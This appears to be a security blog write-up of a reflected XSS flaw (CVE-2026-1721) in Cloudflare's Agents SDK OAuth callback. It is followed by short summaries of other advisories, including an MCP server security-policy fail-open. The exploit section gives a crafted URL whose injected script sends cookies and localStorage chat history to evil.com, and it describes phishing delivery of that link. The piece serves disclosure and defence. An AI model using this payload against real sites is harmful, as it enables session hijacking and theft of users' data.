Feb 13, 2026·5 min read·29 visits
The Cloudflare Agents SDK used `JSON.stringify()` to render OAuth error messages directly inside an HTML `<script>` tag. Since this function doesn't escape forward slashes, attackers could close the script block with `</script>` and inject malicious JavaScript. This grants full access to the AI Playground session.
In the rush to connect Large Language Models (LLMs) to the real world via the Model Context Protocol (MCP), developers often overlook the plumbing. CVE-2026-1721 is a classic Reflected Cross-Site Scripting (XSS) vulnerability found in the Cloudflare Agents SDK's OAuth callback handler. By abusing how error messages are serialized into HTML, attackers could hijack a developer's session, stealing sensitive AI chat logs and potentially commanding connected agents to perform unauthorized actions.
We are living in the golden age of "Agentic AI." Everyone is rushing to build tools that let LLMs actually do things—read files, query databases, or restart servers. Cloudflare's contribution to this ecosystem is the Agents SDK and the AI Playground, a sandbox where developers can test their Model Context Protocol (MCP) servers.
But here's the thing about sandboxes: they are only fun until someone finds a cat turd in them. In this case, the "turd" was a vulnerability in the authentication flow. To let developers log in with GitHub or Google, the Playground uses OAuth. It's a standard dance: you leave the site, log in, and get redirected back with a code.
However, security research isn't about the happy path; it's about what happens when things break. When an OAuth provider returns an error (like access_denied), the application has to tell the user what happened. The way Cloudflare handled this error reporting was... let's say, overly trusting. It opened the door for a classic, yet elegant, Reflected XSS.
The vulnerability lies in site/ai-playground/src/server.ts. When the OAuth callback endpoint receives an error from the provider, it needs to display that error to the user or pass it back to the parent window (since OAuth often happens in a popup).
The developers decided to take the query parameters—specifically error and error_description—and inject them directly into the response HTML inside a <script> tag. They likely thought, "Hey, we'll use JSON.stringify(). That escapes quotes, so we're safe from breaking out of the JavaScript string, right?"
Wrong.
While JSON.stringify() creates a valid JavaScript string literal, it does not escape forward slashes (/). In the context of an HTML parser, the sequence </script> is special. The browser's HTML parser runs before the JavaScript engine. If it sees </script>, it terminates the script block immediately, regardless of whether that sequence is inside a JavaScript string or not. This is a subtle behavior known as "Script Data Double Escaping" or simply "HTML injection in script context."
Let's look at the smoking gun. The vulnerable code looked something like this:
// Pseudo-code of the vulnerable handler
app.get('/callback', (req, res) => {
const error = req.query.error_description;
// The fatal flaw: Interpolating JSON.stringify directly into HTML
const html = `
<html>
<body>
<script>
window.opener.postMessage({
type: 'oauth-error',
message: ${JSON.stringify(error)}
}, '*');
window.close();
</script>
</body>
</html>
`;
res.send(html);
});If an attacker sends a normal error like Invalid Scope, the output is safe:
message: "Invalid Scope"
But if the attacker sends error_description=</script><script>alert(1)</script>, JSON.stringify turns it into "</script><script>alert(1)</script>". The quotes are there, but the browser doesn't care. It sees:
<script>
window.opener.postMessage({
type: 'oauth-error',
message: "
</script> <-- HTML Parser stops here!
<script>alert(1)</script> <-- New script starts here!The rest of the original script (" }, '*'); ...) becomes garbage text on the page, but the payload executes.
Exploiting this requires a bit of social engineering, but for a high-value target like an AI developer, it's worth the effort. The goal is to craft a URL that points to the legitimate Cloudflare AI Playground but carries our payload.
Step 1: Craft the Payload We need a URL that triggers the error condition in the OAuth handler.
https://playground.ai.cloudflare.com/callback
?state=irrelevant
&error=access_denied
&error_description=</script><script>
fetch('https://evil.com/steal?c='+document.cookie);
// Or sneakier: exfiltrate local storage where LLM chats live
const history = localStorage.getItem('chat_history');
navigator.sendBeacon('https://evil.com/logger', history);
</script>
Step 2: Delivery The attacker sends this link to a developer via email, Discord, or a GitHub issue comment: "Hey, I'm getting this weird error on the Cloudflare Playground, can you check it out?"
Step 3: Execution
When the victim clicks, the browser renders the page. The vulnerability fires immediately. Because the context is playground.ai.cloudflare.com, the script has access to all cookies and LocalStorage for that domain. In the world of AI Agents, this storage often contains the conversation history with the LLM, API keys for the models, and potentially access tokens for the MCP servers being tested.
Cloudflare patched this in version 0.3.10 (Commit 3f490d045844e4884db741afbb66ca1fe65d4093). The fix involved two major changes: sanitization and architecture.
First, they stopped trusting JSON.stringify blindly for HTML contexts. They introduced an HTML escaping library (escape-html) to sanitize the input before it ever touches the DOM.
Second, and more importantly, they refactored the flow. Instead of embedding the error message into the HTML response of the callback window, they switched to a state-based approach. The callback now simply signals the window to close, and the application state (likely via the state parameter or a session store) handles the error presentation.
Here is the essence of the patch:
// The Fix: Sanitize before interpolation
import escapeHtml from 'escape-html';
// ... inside the handler ...
const safeError = escapeHtml(req.query.error_description);
// Now even if it contains </script>, it becomes </script>For developers building similar OAuth flows: Never interpolate query parameters directly into your HTML, even inside script tags. If you must pass data from server to client HTML, put it in a data-attribute of a hidden DOM element (escaped!) or use a rigorous serialization library that is HTML-context aware.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
cloudflare/agents Cloudflare | < 0.3.10 | 0.3.10 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| CVSS Score | 6.2 (Medium) |
| Attack Vector | Network |
| User Interaction | Required (Clicking Link) |
| Impact | Session Hijacking / Data Exfiltration |
| Exploit Status | Proof of Concept (PoC) Available |
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.